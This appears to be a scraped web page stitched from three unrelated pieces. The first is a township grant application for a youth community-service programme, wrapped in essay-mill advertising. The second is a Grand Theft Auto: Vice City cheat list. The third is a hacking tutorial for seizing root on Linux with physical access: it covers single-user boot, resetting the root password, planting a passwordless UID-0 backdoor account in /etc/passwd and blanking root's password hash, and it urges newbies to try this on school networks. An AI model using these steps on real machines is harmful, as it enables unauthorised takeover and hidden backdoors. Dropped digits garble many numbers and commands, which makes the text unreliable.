Youth Engaged In SErvice

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EXECUTIVE SUMMARY

(Not to exceed three pages)

Township of FranklinYouth Engaged in Service

(Applicant Unit of Gov.)Name of Project

Cheap essay writing service offers papers on Youth Engaged In SErvice

Statement of the Problem Anti-Social Behavior and Alienation is identified as the top priority risk factor for teens in Franklin, however, three risk factors had been identified in the original application for this project including

ɨ Anti-Social Behavior and Alienation

ɨ School Dropout

ɨ Inadequate School Climate

The data obtained through UCR reports and Somerset County's Adolescent Information Forms paints a picture of a group of Franklin Township youth, a sizable portion of who are minorities, who have already come in contact with the juvenile justice system or are at great risk of involvement with this system. They are in conflict with their families, have been abused, and/or live in homes where substance abuse, divorce/separation and parenting skills are issues. Also, they are truant, or are having problems in school, and are experiencing mental health problems and economic stress. A large portion of the community's incorrigible and delinquent youth are primarily between the ages of 11 and 16. See Appendix I for supporting data.

Program Goal The goal of the Franklin Township Youth Engaged in Service Program is to reduce youth delinquency by working cooperatively to support our community in providing our children and families with skills, knowledge, and opportunities necessary to foster a healthy environment to ensure the development of our youth to productive, law abiding citizens. The primary objective of this program is to provide skills, opportunities, and knowledge through group interaction to early adolescents, middle school youth, and/or high school youth during their critical developmental period in order to prevent these at-risk youth from engaging in problem behaviors and entering into the juvenile system and to lower the recidivism rate for those youth already involved in the system. The Franklin Township Youth Engaged in Community Service Program plans to address the identified risk factors through enhancement of the individuals character, and self-esteem, the delivery of clear standards, and healthy beliefs, and by developing a stronger connection, and commitment to the community. Community Service will be used to help youth find their way to responsible adulthood.

Program Description The Franklin Township Youth Services Commission plans to continue operation and expansion of the Supervised Community Service Program for Junior High and High School age students called Youth Engaged in Service (YES) . The program provides two levels of service including one at the primary level of prevention for youth who are at risk of delinquent behavior and one at the secondary level of prevention for youth who have exhibited delinquent behavior. The project will deliver four program initiatives during the period of October 1, 00 and September 1, 004. There are four components to the Program which are describe below with measurable objectives, program outcomes and participant outcomes for each initiative.

The first component is designed on the primary prevention level and will provide the comprehensive Character Assets Community Service Program for at-risk youth from the Teen Recreation Program. The program goal is to serve four separate groups of 8 students, in a 1 week program, thereby serving approximately students from the Teen Recreation Program. The first session of the program will take place in October, November and December 00. The other sessions of the program will take place in 004 from January through October. Two sessions will be supported through the JJDP budget and two sessions will be supported through alternate funding sources.

ɨ Students will participate in a 1 hour educational component where the participants will become familiar with and increase the knowledge relating to the fundamental tenets of character including Trustworthiness, Respect, Responsibility, Fairness, Compassion, Friendship and Citizenship, and their application in the juveniles individual daily life routine. Group activities will be held in the evenings and/or weekends at the Franklin Township Community/Senior Center.

ɨ The Students will participate in life skill experiential learning situations relating to their personal daily life task demands. The concepts of task organization, realistic goal setting, effective communication, active listening skills, group cooperative dynamics, critical problem solving, time and budget management and creative expression will be explored and strategies for adaptation demonstrated to effectively manage and cope with real life scenarios.

ɨ Students will spend approximately 4 hours in project development and implementation of a community service learning project.

ɨ 85% of the participants will successfully complete the program

ɨ 85% of the participants will not come in contact with the juvenile justice system during the course of the program and for one year after the completion of the program.

ɨ Students involved with the program will have the opportunity for bonding with staff and volunteers over the three month cycle of the program.

ɨ Participants will be recognized for their efforts through a group social event at the end of the program cycle. Each student will receive recognition of their contribution to their community in some measure of written from the Office of the Governor or government official.

The Second Component is also designed on the primary prevention level and the program will provide a summer opportunity for participants to engage in a community service project. This program will run throughout the school year and will also conduct its second summer program during the months of July and August. The program will serve approximately 50 students that will each perform a minimum of 5 hours of community service.

ɨ Prior to the start of the program students will participate in an 4-8 hour educational component where the participants will become familiar with and increase their knowledge relating to the fundamental tenets of character and their application in the juveniles individual daily life routine. Basic program requirements, obligations and safety will also be covered.

ɨ The Students will participate in life skill experiential learning situations relating to their personal daily life task demands. Students will spend a minimum of 5 hours in their selected community service learning project.

ɨ 85% of the participants will successfully complete the program

ɨ 85% of the participants will not come in contact with the juvenile justice system during the course of the program and for one year after the completion of the program.

ɨ Students involved with the program will have the opportunity for bonding with staff and volunteers during the school year and over the 6 week cycle of the summer program.

ɨ Participants will be recognized for their efforts through a group social event at the end of the program cycle. Each student will receive recognition of their contribution to their community in some written measure from the appropriate government official.

The Third Component The Station House Adjustment Component provides character development and supervised community service on the secondary prevention level for youth that are considered first time petty offenders that have committed a disorderly persons offense, a petty disorderly persons offense or have been charged with an offense (truancy) in the municipal court and are at greater risk of exhibiting additional delinquent behavior. At the secondary prevention level the program is able to identify the needs of the youth and his/her family and it may be able to reduce the number of youth entering into the juvenile court system. The program not only offers a community service program to at-risk youth, but, it offers life skill opportunities, caring/trusting relationships with staff, 4 hour support through a Youth Hotline and information and referral services as needed. The program will serve approximately -5 students per month that will each be involved in a 5-0 hour program. Students will participate in approximately 5 hours of character development and 0-5 hours of hands on community service.

ɨ 85% of the participants will successfully complete the program

ɨ 85% of the participants will not come in contact with the juvenile justice system during the course of the program and for one year after the completion of the program.

ɨ Students involved with the program will have the opportunity for bonding with staff and volunteers over the three month cycle of the program.

ɨ Participants will be recognized for their efforts at the end of the program cycle.

ɨ To provide supervised community service for approximately -5 youth on a weekly basis.

The Fourth Component is for incorrigible at-risk youth referred to the Police Department by parents, youth that receive Curbside Adjustment by the Police Department and the habitual status offender. In addition to the traditional referral to SCFCIU(Somerset County Family Crisis Intervention Unit) this component will also provide outreach services in an attempt to involve the youth in several of the appropriate community services available including Middle Earth's supervised community service program, Middle Earth's Drop In Center, the Character Assets Program, the Teen Recreation Program, the ARISE Program, and counseling through Family and Community Services of Somerset County. Youth in this category exhibit unruly, delinquent behavior. This is the child that does not listen to their parents and may be considered as out of control. They may have been runaways, they may be unruly on the street, they may be truant, but, they have not committed a chargeable offense. At the primary prevention level the program is able to identify the needs of the youth and his/her family and offer referrals to various services and alternative activities in an effort to deter the youth from further delinquent behavior that could lead to contact with the juvenile court system. The programs and services listed above provide recreation, life skills, character education, community service opportunities, a 4 hour support through a Youth Hotline; and individual, group and family counseling by agencies all working to improve services for youth. These services all offer opportunities to gain new knowledge, learn new skills and opportunities for bonding with caring/trusting staff. The Program Coordinator will provide outreach and referral services to approximately 5-8 students per month based on the number of referrals received. Participants will be encouraged to participate in one or more of the activities listed.

ɨ % of the students referred to Middle Earth will take part in one or more of the following activities Middle Earth's Community Service Program; Character Assets; Teen Recreation.

ɨ 50% of the participants that are engaged in a program will not come in contact with the juvenile justice system during the course of the program.

ɨ Students involved with these programs will have the opportunity for bonding with staff and volunteers over the length of the program.

Description of Project Management and Personnel The project director is the Director of Parks & Recreation. This individual also serves as the Chairperson of the Township's Youth Service Commission/Policy Prevention Board and the Chairperson of the Municipal Alliance for the Prevention of Substance Abuse. As a department head this individual reports to the Township Manager. The project director is responsible for the administration of the project including all grant documents and reports; procurement of services and authorization of expenditures; and Chair of the Policy Prevention Board. Fiscal accountability and auditing is managed through the CFO of Franklin Township's Finance Department. The Township proposes to once again contract with Middle Earth a private-non-profit agency to provide the Station House Adjustment Program (SHAP) and general volunteer programs since they have been successful in getting this program up and running in Franklin during the programs first two years of operation. Middle Earth will hire a full time coordinator to over see their four components of the program. The Township will also contract with CharacterAssets Inc. consultants to provide for the Character Development component. In addition the Township will hire part-time employees to assist with transportation needs of program participants and will involve the full-time Recreation Coordinator to assist with the coordination of the CharacterAssets program.

Collaboration and Program Continuation The primary participants in this project include the Franklin Township Board of Education, The Franklin Township Police Department, The Franklin Township Department of Parks & Recreation, CharacterAssets Inc. and the "Middle Earth" agency of Somerville, NJ. The Franklin Township Board of Education is interested in providing meeting room space from the hours of 0 70 PM at SGS Intermediate School. The Franklin Township Police Department will provided referrals of juvenile offenders to the program. The Franklin Township Recreation Department will provide office support and accommodate daytime administrative operations space. The Recreation Department and the Police Department will also provide space for client meetings after 40pm. The Township proposes to contract with Middle Earth to provide the designated services of this grant application. Middle Earth was selected because of its experience in this service area and its outstanding reputation for providing services to the at-risk youth population. The Recreation Department and School System will be willing to assist with transportation support when possible. The CharacterAssets consultants were selected based on content of their program and the inclusion of the community service component.

Program Continuation Future funding will be pursued through the combined efforts of the Township of Franklin, the Franklin Township Board of Education and Middle Earth. With the help of the Township's Grant Coordinator and Middle Earth, foundation and corporate funding will be pursued. A corporate fundraising plan is being developed with a mailing out to approximately 1000 businesses in Franklin Township later this year.

Special events and various contributions will also help to fund this program. We also anticipate the school district taking on a more active role in this project and including community service as part of it's core requirements.

Plan Conformity The Somerset County Youth Services Commission Plan indicates the need to reduce the minority over-representation youth in the juvenile justice system and to increase dispositional options with community based alternatives. The plan also calls for a full compliment of services in the continuum of care. It also encourages agencies to outreach to resistant families.

Evaluation The Program will conduct follow-up regarding each participant within the first year after successful completion of hours to determine whether the youth is utilizing previous referrals made, if he/she needs additional services, and to see if the youth has re-offended. Follow-up phone calls to the referral source and the youth's parent/legal guardian will occur at 1, , 6, and 1 months. If the offender has done well and has not gotten into further trouble, the case will be closed. If trouble is reported, the YES staff will try to intervene and help the offender through any problems they may be experiencing. This follow-up data will be summarized and used to evaluate the needs and success of the program. Exit interviews will also be conducted to see how we can better serve the program participants. Program statistics will also be continually reviewed to ensure compliance with the State contract, the needs of the participants, and the needs of the Township of Franklin. The staff will also allow parents and the participants the opportunity to suggest possible improvements and express other areas that the program could be of service to families. Annual follow-up will be conducted with each participant to document their status until they reach the age of 18. The monitoring will provide the rate of recidivism among the clients of this program. Pre and post tests will also be employed regarding the educational components. The Policy Prevention Board will also continue an annual risk and resource assessment to track changes in risk factor indicators. Expectations of the program including measurable objectives, program outcomes and participant outcomes for each initiative are listed above with goals and objectives.

Please note that this sample paper on Youth Engaged In SErvice is for your review only. In order to eliminate any of the plagiarism issues, it is highly recommended that you do not use it for you own writing purposes. In case you experience difficulties with writing a well structured and accurately composed paper on Youth Engaged In SErvice, we are here to assist you. Your cheap custom college papers on Youth Engaged In SErvice will be written from scratch, so you do not have to worry about its originality.

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GTA Vice City Cheats AND Other Things

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All Weapons #1

R1, R, L1, R, Left, Down, Right, Up, Left, Down, Right, Up

All Weapons #

R1, R, L1, R, Left, Down, Right, Up, Left, Down, Down, Left

Write a research paper on GTA Vice City Cheats AND Other Things

All Weapons #

R1, R, L1, R, Left, Down, Right, Up, Left, Down, Down, Down

Full Armor

R1, R, L1, X, Left, Down, Right, Up, Left, Down, Right, Up

Full Health

R1, R, L1, Circle, Left, Down, Right, Up, Left, Down, Right, Up

Commit Suicide

Right, L, Down, R1, Left, Left, R1, L1, L, L1

Raise Wanted Level

R1, R1, Circle, R, Left, Right, Left, Right, Left, Right

Lower Wanted Level

R1, R1, Circle, R, Up, Down, Up, Down, Up, Down

Ladies Man (certain women follow you)

Circle, X, L1, L1, R, X, X, Circle, Triangle

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Character Skin Cheats

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Change Clothes

Right, Right, Left, Up, L1, L, Left, Up, Down, Right

Play As Ricardo Diaz

L1, L, R1, R, Down, L1, R, L

Play As Lance Vance

Circle, L, Left, X, R1, L1, X, L1

Play As Candy Suxxx

Circle, R, Down, R1, Left, Right, R1, L1, X, L

Play As Ken Rosenberg

Right, L1, Up, L, L1, Right, R1, L1, X, R1

Play As Hilary King

R1, Circle, R, L1, Right, R1, L1, X, R

Play As Love Fist Guy #1

Down, L1, Down, L, Left, X, R1, L1, X, X

Play As Love Fist Guy #

R1, L, R, L1, Right, R, Left, X, Square, L1

Play As Phil Cassady

Right, R1, Up, R, L1, Right, R1, L1 ,Right, Circle

Play As Sonny Forelli

Circle, L1, Circle, L, Left, X, R1, L1, X, X

Play As Mercedes

R, L1, Up, L1, Right, R1, Right, Up, Circle, Triangle

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Vehicle Spawning Cheats

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Spawn A Rhino tank

Circle, Circle, L1, Circle, Circle, Circle, L1, L, R1, Triangle, Circle, Triangle

Spawn A Bloodring Racer

Down, R1, Circle, L, L, X, R1, L1, Left, Left

Spawn A Bloodring Banger

Up, Right, Right, L1, Right, Up, Square, L

Spawn A Hotring Racer #1

R1, Circle, R, Right, L1, L, X, X, Square, R1

Spawn A Hotring Racer #

R, L1, Circle, Right, L1, R1, Right, Up, Circle, R

Spawn A Romeros Hearse

Down, R, Down, R1, L, Left, R1, L1, Left, Right

Spawn A Love Fist

R, Up, L, Left, Left, R1, L1, Circle, Right

Spawn A Trashmaster

Circle, R1, Circle, R1, Left, Left, R1, L1, Circle, Right

Spawn A Sabre Turbo

Right, L, Down, L, L, X, R1, L1, Circle, Left

Spawn A Caddie

Circle, L1, Up, R1, L, X, R1, L1, Circle, X

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Other Vehicle Cheats

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Blow Up Cars

R, L, R1, L1, L, R, Square, Triangle, Circle, Triangle, L, L1

Aggressive Drivers

R, Circle, R1, L, Left, R1, L1, R, L

Pink Cars

Circle, L1, Down, L, Left, X, R1, L1, Right, X

Pink Cars

Circle, L1, Down, L, Left, X, R1, L1, Right, Circle

Black Cars

Circle, L, Up, R1, Left, X, R1, L1, Left, Circle

Dodo Cheat (Press Analog Stick back to Fly)

Right, R, Circle, R1, L, Down, L1, R1

Perfect Handling

Triangle, R1, R1, Left, R1, L1, R, L1

Higher Top Speed For Your vehicle

Right, R1, Up, L, L, Left, R1, L1, r1, R1

Cars Can Drive on Water

Right, R, Circle, R1, L, Square, R1, R

Change Vehicle Wheel Size (Repeat to change more)

R1, X, Triangle, Right, R, Square, Up, Down, Square

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Weather Cheats

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Sunny Weather

R, X, L1, L1, L, L, L, Down

Cloudy Weather

R, X, L1, L1, L, L, L, Triangle

Very Cloudy Weather

R, X, L1, L1, L, L, L, Square

Stormy Weather

R, X, L1, L1, L, L, L, Circle

Foggy Weather

R, X, L1, L1, L, L, L, X

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Miscellaneous Cheats

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Speed Up Time

Circle, Circle, L1, Square, L1, Square, Square, Square, L1, Triangle, Circle, Triangle

Slow Down Time

Triangle, Up, Right, Down, Square, R, R1

Peds Riot (Warning code cannot be undone)

Down, Left, Up, Left, X, R, R1, L, L1

Peds Hate You (Warning code cannot be undone)

Down, Up, Up, Up, X, R, R1, L, L

Peds have Weapons (Warning code cannot be undone)

R, R1, X, Triangle, X, Triangle, Up, Down

Police return From Dead

Circle, L1, Down, L, Left, X, R1, L1, Right, X

Show Media Level Meter (Shows pursuit time and news coverage level)

R, Circle, Up, L1, Right, R1, Right, Up, Square, Triangle

Bikini Girls With Guns

Right, L1, Circle, L, Left, X, R1, L1, L1, X

Suicide

L, Down, R1, Left, Left, R1, L1, L, L1

BIG thanks to Fiber_Optikz and Genome_Gxp for testing these.

Info submitted by Hellion00 on Wednesday, October 0, 00 at 0540

Hidden Packages

Packages / Reward / Reward Location

10, Body Armor, Ocean Veiw Hotel

0, Chainsaw, Ocean Veiw Hotel

0, Python, Ocean Veiw Hotel

40, Flame-Thrower, Ocean Veiw Hotel

50,Laser Scope Sniper Rifle,Ocean Veiw Hotel

60, Minigun, Ocean Veiw Hotel

70, Rocket Launcher,Ocean Veiw Hotel

80, Chopper ,Starfish Island Mansions HPad

0, Rhino Fort Baxter Air Base

100, Ultimate Car Fort Baxter Air Base

Info submitted by 8 Ball on Wednesday, October 0, 00 at 11068

How to find the Helicopter

Near the arena in the Downtown district is a condo you can purchase for a safe house ($14000) there are garages for cars and an opening that says Roof Access above the door. There is a Heli pad on the Roof The Helicopter should be there. If it is not there, just leave and come back. This may take a few tries, but it will eventually be back.

Info submitted by bradyp0 on Thursday, October 1, 00 at 50

Get six weapon

Go to the golf club on a moped. Go though the gate. On your right and left ,there will be six guns free

How to unlock the final missions!

If you are at the part where you just finished the missionCopland, then you go back to do another mission at your mansion and the pink light isnt there anymore. Dont get to exited, no you didnt beat the game yet. You just have to do more missions at the mansion then your done, but you cant do missions there yet untill you finish all of the ASSETS & EXTRAS missions. Here they are

1.Four Iron(Avery Carrington)

.Demolition Man(Avery Carrington)

.Two Bit Hit(Avery Carrington)

4.Love Juice(Rock Band)

5.Psycho Killer(Rock Band)

6.Alloy Wheels of steel(Biker)

7.Messing with the man(Biker)

8.Hog tied(Biker)

.Publicity Tour(Rock Band continued)

10.Road Kill(Mysterious Caller)

11.Waste the Wife(Mysterious Caller)

1.Autocide(Mysterious Caller)

1.Check out at the Check in(Mysterious Caller)

14.Stunt Boat Challenge(Cuban)

15.Cannon Fodder(Cuban)

16.Naval Engagement(Cuban)

17.Juju Scramble(Haitian)

18.Bombs Away(Haitian)

1.Dirty Lickins(Haitian)

0.Trojan Voodoo(Cuban continued)

Buy the Boatyard

1.Checkpoint Charlie(Boatyard)

Buy Taxi Factory

.V.I.P(Kautman Cab)

.Friendly Rivalry(Kautman Cab)

4.Cabmageddon(Kautman Cab)

Buy Malibu Dance Club

5.No Escape(Malibu)

6.The Shootist(Malibu)

After 6, you unlock 7

7.Loose Ends(Mysterious Caller)

8.The Driver(Malibu)

.The Job(Malibu)

0.Gun Runner(Phil)

1.Boomshine Saigon(Phil)

.Recruitment Drive(Steve Scott)

.Dildo Dodo(Steve Scott)

4.Marthas Mug Shot(Steve Scott)

5.G-Spotlight(Steve Scott)

Buy Print Works Factory

6.Spilling the Beans(Print Works)

7.Hit the Courier(Print Works)

After 7 seven missions of ASSETS & EXTRAS you unlock the last missions to finish the game.

Info submitted by MGS Master on Monday, November 4, 00 at 00001

16 HINTS

1. Brown Thunder vigilante missions

Collect all 100 hidden packages and go to Fort Baxter Air Base. You can use this ultimate vehicle to do Brown Thunder vigilante missions.

. Firefighter missions Fireproof

Steal a fire truck and press R to start the firefighter missions. Press Circle to use the firehose to put out burning cars. Get to level 1 to become fireproof while on foot

. Pizza missions Extra health

Go behind the pizza restaurant near the beach and steal the pizza delivery moped and press R to start the pizza missions. Successfully deliver 55 consecutive pizzas to increase your maximum health from 100 to 150.

4. Paramedic missions Unlimited sprint/stamina

Steal an ambulance and press R to start the paramedic missions. Get to level 1 to have unlimited sprint/stamina.

5. Taxi missions Hydraulics

Steal a cab and press R to start the taxi missions. Carry 100 passengers to get hydraulics on all taxi-class vehicles.

6. Vigilante missions Extra armor

Steal a law enforcement-class vehicle and press R to start the vigilante missions. Get to level 1 to increase your maximum armor from 100 to 150.

7. Northpoint Grand Theft Auto screens

In the Northpoint Mall, go into the Tarbrush Cafe. Go behind the counter and take a look at the registers. You will find screens from the original Grand Theft Auto.

8. Northpoint Katana

In the Northpoint Mall, go into the Tarbrush Cafe. Go into the back room to find the katana.

. Northpoint Easy money

To get an easy $00 to $00, go to Northpoint Mall and follow a police officer until he begins chasing someone. Attack that person with your fists (no brass knuckles -- you gain more money without them) to get $50 for every punch you throw. Be sure not to hit the police officer.

10. Northpoint RC Baron Race

Get in the Toy Fun Van on the top of the parking garage next to the mall to start the RC Baron Race, in which you will fly RC planes across the island.

11. Northpoint RC Bandit Race

Get in the Toy Fun Van near the dirt bike track.

1. Caddy Drive out of the golfing area

Enable the Dodo car code. Steal a golf cart (Caddy) and drive towards the exit area (where the view is from a security camera). Instead of going in that area, go up the grass hill to the left of the stairs. Fly over the house by pressing Analog-stick Down. Try to avoid the windows which pop out and stop you from flying. If you make it on the roof, go right or left immediately to avoid the big pillar then continue down to the street. This may be difficult at first, but can be done with some practice.

1. Helicopter Hovering

Hold L while flying a helicopter to hover. This can be used to immediately slow down while flying fast.

14. Knife

Go to the alleyway in the south-east corner of the east island (where you start) to find the knife.

15. Leave car door open

Exit a car while holding Handbrake. You will not close the door, which can be useful if you know that you are going to need to get back in quickly.

16. Restore health

Go to your hideout and go to Save. Either save or leave without saving and your health will be restored to full. Note Your wanted level will not decrease

Info submitted by Tony D Email on Sunday, November , 00 at 0047

Robbery

To rob a store, all you have to do is point a gun at them. You have to hold it for a long time

and the longer you hold it the more money he will give you. The alarm will sound, and the cops

will come, so get the money and get out. (NOTE you can drive a motorcycle in the mall, so get a

PCJ 600, and get ready to run.

Here is a list of stores that you can rob.

Store Location

Corner Store Vice Point, one block north of the Shady Points Hospital

Dispensary+(pharmacy) Vice Point, one block west of the corner store

Jewelry Store Vice Point, just east of the bridge to the Leaf Links Country Club

Gash North Point Mall

Music Store North Point Mall

Jewelry Store North Point Mall

Hardware Store North Point Mall

Bunch of Tools (hardware) Washington Beach, on peninsula west of Washington Beach Police

Department

Ryton Aide Pharmacy Little Haiti, next to Pay n Spray

Pharmacy Downtown, on the street between Love Fists studio and Rock City

Jewelery Store Downtown, on the street between Love Fists studio and Rock City

Deli Little Havana, one street north of Ryton Aide Pharmacy

Doughnut Shop Little Havana, on the corner south of Cherry Popper

Laundromat Little Havana, west of Print Works

Screw This (Hardware) Little Havana, between Umbertos and Sunshine Autos

Info submitted by MOBOB11 on Friday, November 1, 00 at 71

Two more helicopters

I have found three helicopters. All mavericks. There is a regular one on top of the Hyman Condo. A swat one on top of the police station nearest the stadium. And a news chopper on the VCN building. The VCN building does not have stairs to it, you will need to get to one of the two other helicopters. Fly it over to the building, land, and then grab it. These helicopters will be there most of the times, but sometimes they will not be there, if this happens, just go do something else, like a mission, then go back and see.

Info submitted by Matthew Sguerro on Friday, November 1, 00 at 1

Change the Moons Size

Just shoot the moon with your sniper rifle.

Tactics for Vlamar parts

Tounge of Valmar

This one is simple , stock up on Yomis elixirs , and wound salves , Then set every one except Ryudo to AI healing and powering up you do this by going to AI during combat and Select AI then , go to Manual , edit the Tactics and keep Ryudo on Manual .

Eye of valmar

Focus your main attacks on the bats first cause they truly mess up the battle then let loose on the eye , forget the tendrils! Recover every time your HP drops below 500.(I was on level , w/ Ryudo and the others so I might have cheated.)

Claws of Valmar

Equip everyone but the Designated healer in the party with the Revival gem , youll come across it in the dungeon. And let loose with ultra powerful attacks , and recovery spells try weakening it too.I kept poisoning it.

Info submitted by The Tensieken Trio on Saturday, August 4, 00 at 0445

Unlocking The Final Missions

Once You have completed The Tommy Vercetti Crime Ring Mission Copland, you will no longer be able to do missions at your house. To Unlock them, you DONT have to complete all the Extra missions (eg. Avery Carrington, Cubans, Haitans, Love Fist etc.) Heres how you do it

Once you have completed the Shakedown mission, a whole load of Asset properties will come available. The Asset properties are

The Malibu, The Pole Position, The Film Studio, The Boatyard, The Ice Cream Factory, The Print Works, Kauffman Cabs, and Sunshine Autos. All of these (once you have done certain tasks), will generate money everyday. You must aquire SIXTY PERCENT of these properties. Meaning you must get AT LEAST 5 of them. The ones you MUST buy are the Print Works, and The Malibu.

Once you have bought 60 percent of them, and completed a few specific extra missions, youll will get called by the print factory. The final missions begin.

Note If you buy 60% of the asset properties (including the Malibu and Print Works), and you dont get called, it means you must complete more of the EXTRA missions. These are the ones where you work for less-important people in the game. To give you a hand, these are the MAIN STORY EMPLOYERS. They are the ones who are not included in the EXTRA category

1. Ken Rosengurg

. The Colonel, Juan Garcia Cortez

. Ricardo Diaz

4. Tommy Vercetti Crime Ring Missions (Mansion Missions)

5. The Malibu Missions

6. The Print Works Missions

Info submitted by pyramidhead on Saturday, November , 00 at 180516

Free PCJ 600 and Angel

You can get a free Angel by going to the biker bar, and just jacking one. Big Mitch doesnt care. But for those people that prefer the PCJ 600, there is one across the street. You may not see it but it is there behind a pane of glass. You need to take out a gun and shoot the glass, or use a melee wepon to break it. (NOTE it is not always there so if it isnt grab an Angel and be happy.)There is also a PCJ 600 at the docks were The Colonel missions took place.(it isnt there all the time either so if it isnt, take the cheetah.)

Info submitted by MOBOB11 on Tuesday, November 5, 00 at 1116

Places you can buy

Business Cost

Ocean Hights $ 7,000

Boat Yard $ 10,000

Hyman Condo $ 14,000

Film Studio $ 60,000

Vice Point $ ,500

Skumole Shack $ 1,000

El Swanko Casa $ 8,000

Kaufmans Cabs $ 40,000

Links View Apartment $ 6,000

Print Works $ 70,000

Cherry Poppers $ 0,000

Sunshine Autos Show Case $ 50,000

110 Washington Street $ ,000

The Malibu Club $ 10,000

Pole Position $ 0,000

Info submitted by Dima Sergiyenko on Tuesday, January 8, 00 at 446

Get full health

Go to any pizza place and buy the special and your health will be full.

Info submitted by shaz on Wednesday, January , 00 at 065547

BULLET PROOF CAR

Also fire-proof, explosion-proof, and collision-proof.

Activate the Guardian Angels mission (from Colonel Cortez), and kill the Haitian gang members. The Admiral is the white car Diaz drives in the cut-scene. Deliberately fail the mission by killing Diaz, Lance, or letting the Haitian biker escape with Diazs money.

Once the mission fails, the Admirals doors will be unlocked and you can drive it back to the garage of your choice. Naturally, you will need to purchase property that has a garage first.

How to garage a HUNTER helicopter

Okay,in order to garage a hunter helicopter you must own Sunshine autos and have access to a HUNTER helicopter in the Fort Baxter Air Base. After you have stolen the Hunter from the rear of the base, fly it over to Sunshine autos and land it in the lower area behind the building where the four garages are located. Choose a garage and make sure it is empty, then back the rear of the hunter into the garage as far as possible and once the blades of the hunter start hitting the garage, get out and run against the front of the hunter, forcing the hunter into the garage.(If you are not such a good flyer and the choppers blades start hitting things while you are trying to put it in the garage and it catches fire, just use the health code while you are in the burning helicopter and the fire will go out.)

I know, you think the blades will stop the hunter from going in because they are so big, no... they will just blend in with the wall. Once the hunter is in, let the garage close and save your game.

Now getting it out when you need it....

First go into the garage and start running against the rear of the hunter, forcing it out of the garage. Then once you have it out run against which ever end you need to so that when you get in and the blades start to turn they wont hit anything. Fly it out of there and you got yourself a hunter without running into the air base screaming for your life.

This is not a fake strategy, I did it myself and it took me about 10 min to do it all.

Info submitted by Mike Allen on Saturday, January 18, 00 at 170055

How to fly the helicopter-

Basic Controls-

X- up

Square- down

L- turn left

R- turn right

L- hover

How to move-

press the up arrow on the arrow buttons while holding x. The harder you

press x, the higher you will fly. Press R or L to turn. To land press

square lightly.

If you think that you are good at flying and you are comfortable with the

controls, try this Fly above a boat.(a couple of feet above it.) If you are

right on top of it, press triangle and you should have fell into the boat.

(Do this with one of those yachts, they are big, so you have a better chance

of landing on it.) This takes a few tries, but it is possible. (I did it

twice.)

Hidden package rewards

Collect the indicated number of hidden packages to get a reward at the specified location

10 hidden packages Body Armor at Ocean View Hotel and Starfish Island Mansion.

0 hidden packages Chainsaw at Ocean View Hotel and Starfish Island Mansion.

0 hidden packages Python at Ocean View Hotel and Starfish Island Mansion.

40 hidden packages Flame thrower at Ocean View Hotel and Starfish Island Mansion.

50 hidden packages Laser Scope Sniper Rifle at Ocean View Hotel and Starfish Island Mansion.

60 hidden packages Minigun at Ocean View Hotel and Starfish Island Mansion.

70 hidden packages Rocket Launcher at Ocean View Hotel and Starfish Island Mansion.

80 hidden packages Sea Sparrow at Starfish Island Mansions Helipad.

0 hidden packages Rhino at Fort Baxter Air Base.

100 hidden packages Ultimate Secret Vehicle at Fort Baxter Air Base. You can use this vehicle to do Brown Thunder vigilante missions.

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Till now almost all Hacking Truths manuals have been Windows centric. I have always kept the newbie Windows user in mind, while writing manuals. However, with the growing popularity of Linux and the fact that Linux is considered to be the Hacker's OS, I decided to start a nix series.

Getting Root on a Linux machine

As you read this manual, you will discover that our basic aim always remains the same, i.e. we want to get root. Now, root is nothing but sort of a sort user, who has maximum privileges, and can do whatever he wants to do on a system. 'Root' is to nix what administrator is to Windows NT. If you get root then you can practically control each and every aspect of the system. You could, remove accounts, delete files, disable daemons, and even format the entire system.

NEWBIE NOTE Getting root is considered to be really really elite especially in schools. If you are able to get root in your school network, then you practically get transformed into a semi-god, but why? Well, the reasons are pretty obvious. Aren't they?

OK, I am really interested. How do I do it? Well, in this section, we are not going to run any C program nor are we going to do any kind of coding, but we will simply exploit a small vulnerability existing in a feature which comes with Linux. This will work almost times out of 10, however, if you plan to use this technique to get 'root' on your ISP, then forget it pal. The technique explained below is quite common and the system administrator would probably be smart enough to cover up this security loophole.

Before we move on, there is one thing that you need to keep in mind. i.e. For this to work, you need to have physical access to the target system. Anyway, boot the target system and wait for the LInux LOader or LILO Prompt to come up.

At the LILO prompt type 'linux single' (without Quotes) or 'linux 1' to get the root shell where you can practically do anything.

Once Linux single is running, you get the root shell where you can type can any command which is accepted by the default shell on your system. Now, here, type 'linuxconf'. This will bring up a blue screen, which is the Linux Configuration Utility. Then, click on Users Root Password. This will allow you to change the root password!!! Yes, you read right, change the root password. Scroll down further, and you could also add new accounts with root privileges.

The linux config utility is certainly not a hole in Linux. It was actually designed to help, if the root password was forgotten.

Well, there is yet another way in which we can get root. In the first method, we typed 'linuxconf' in the bash shell prompt, however, we could type the following to create a new account with root privileges and without any password

echo "ankit00" /etc/passwd

This command will basically edit the /etc/passwd file which is the password file which stores the Passwords and Usernames of all accounts on the machine. One thing to remember here is that you can edit the /etc/passwd file only if you are logged in as root, however, in this case we are not logged in as root, but we have booted into linux single which gives us the root shell. Hence, we can still edit it.

Anyway, to understand how exactly the above command works and how it is able to create a new account without a password, we need to learn the /etc/passwd file is structured.

The following is a line from a password file

ankitmy_passwordAnkit Fadia/home/ankit/bin/bash

The above can in turn be broken up into

Username ankit

Encrypted Password my_password

User number

Group Number

Actual Name Ankit Fadia (Optional)

Home Directory /home/ankit (Optional)

Type of Shell /bin/bash (Optional)

In our command, we have not included the optional fields and the password field of a typical password file line. Our command

echo "ankit00" /etc/passwd

can be rewritten as

Username ankit

Encrypted Password

User number 0

Group Number 0

Actual Name

Home Directory

Type of Shell

This basically creates a new account with root privileges, which can be used as a Backdoor into the system.

HACKING TRUTH If you have enabled, shadow passwords, then the command will change to

echo "ankit00" /etc/shadow

A typical line from the password file on a system with Shadow Passwords enabled is as follows

ankitAnkit Fadia/home/ankit/bin/bash

In a shadowed password file what happens is that the password field is replaced by a(Theis called a token.) such that the encrypted password does not show up in the password file and the list of encrypted passwords is stored in a different file which is not readable by normal users.

I have tired the above method on a number of systems, and have found that it works only about 80% of the times. So, after some more fooling around, I came about with yet another method, which till now seems to be foolproof.

Now, as you are in the root shell, launch your favorite editor (eg vi) and open /etc/passwd in it. Now, delete the encrypted text between the first two colons in the line, which contains the entry for root. This, will not create a new account with root privileges, but will change the password of the root, to null. So, basically this will get you a root account without any password. Once, you have removed the encrypted password, at the prompt, type 'init ' to switch back to the normal start up or else for a graphical start up type ' init 5'.

